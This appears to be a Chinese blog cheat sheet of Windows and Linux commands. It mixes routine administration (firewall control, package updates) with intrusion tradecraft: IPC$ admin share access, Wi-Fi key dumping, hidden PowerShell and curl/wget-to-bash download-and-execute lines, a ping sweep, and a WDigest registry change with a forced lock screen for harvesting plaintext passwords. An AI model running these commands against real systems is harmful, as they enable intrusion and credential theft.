不常用但有用的命令(不定时更新)

1. windows

(1) 以命令行的方式开启管理员

cmd:runas /noprofile /user:administrator cmd

(2) 查看wifi密码:

netsh wlan show profiles wifi名 key=clear

(3) IPC管道连接:

命名管道,可以通过ipc进行对主机远程管理和文件传输,基于139、445端口的开放

net use \\IP | 主机名\IPC$ "管理员密码" /user:administrator 管理员必须有设置密码且已经激活

net session(这一步需要管理员)

net use \\IP /del

dir   \\IP | 主机名\C$

copy \\IP | 主机名\C$ 文件名 下载文件

copy 文件名 \\IP | 主机名\C$ 上传文件

(4) windows无文件传输:

powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(‘文件路径‘))"

(5) windows远程下载

bitsadmin /transfer /n http://IP/xx.vbs path

2. linux

(1) 查看防火墙的状态:

systemctl status firewalld

(2) 关闭防火墙:

systemctl stop firewalld   

(3) 永久关闭防火墙

systemctl disable firewalld

(4) 重启防火墙

systemctl enable firewalld

(5) 查看端口状态:

ss -antpl | grep 80

-a 显示全部

-n数字显示IP

-t tcp协议

-p 代表PID

-l 监听状态

(6) linux无文件传输:

wget -qO - http://IP/File | bash

curl http://IP/File | bash

(7) 更新

apt-get update

apt-get upgrade

(8) 修改镜像源

vim /etc/apt/sources.list

apt-get update

(9) 改字体颜色

vim  ~/.bashrc

PS1=‘\[\e[1;33m\]\u@\h:\[\e[1;32m\]\W\[\e[37m\]#\[\e [m\ ] ‘

(10) 安装pip

apt-get install python3-pip

(11) 程序想要命令直接运行

mv xxx.elf /usr/bin/xxx.elf

(12) 替换ping的代理答应

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

或sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null

开启将1改成0

(13) 去访问其他的存活主机

for /L %i in (1,1,254) do @ping -w 1 -n 1 192.168.37.%i | findstr "TTL="

(14) win server >= 2012 无法抓取明文密码:

修改注册表:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /vUseLogonCredential /t REG_DWORD /d 1 /f

强制锁屏让管理员重登入后才可以抓到明文密码:

rundll32 user32.dll,LockWorkStation

不常用但有用的命令(不定时更新)

上一篇:06 程序中函数;函数分文件的用法


下一篇:打开CMD的方式以及DOS命令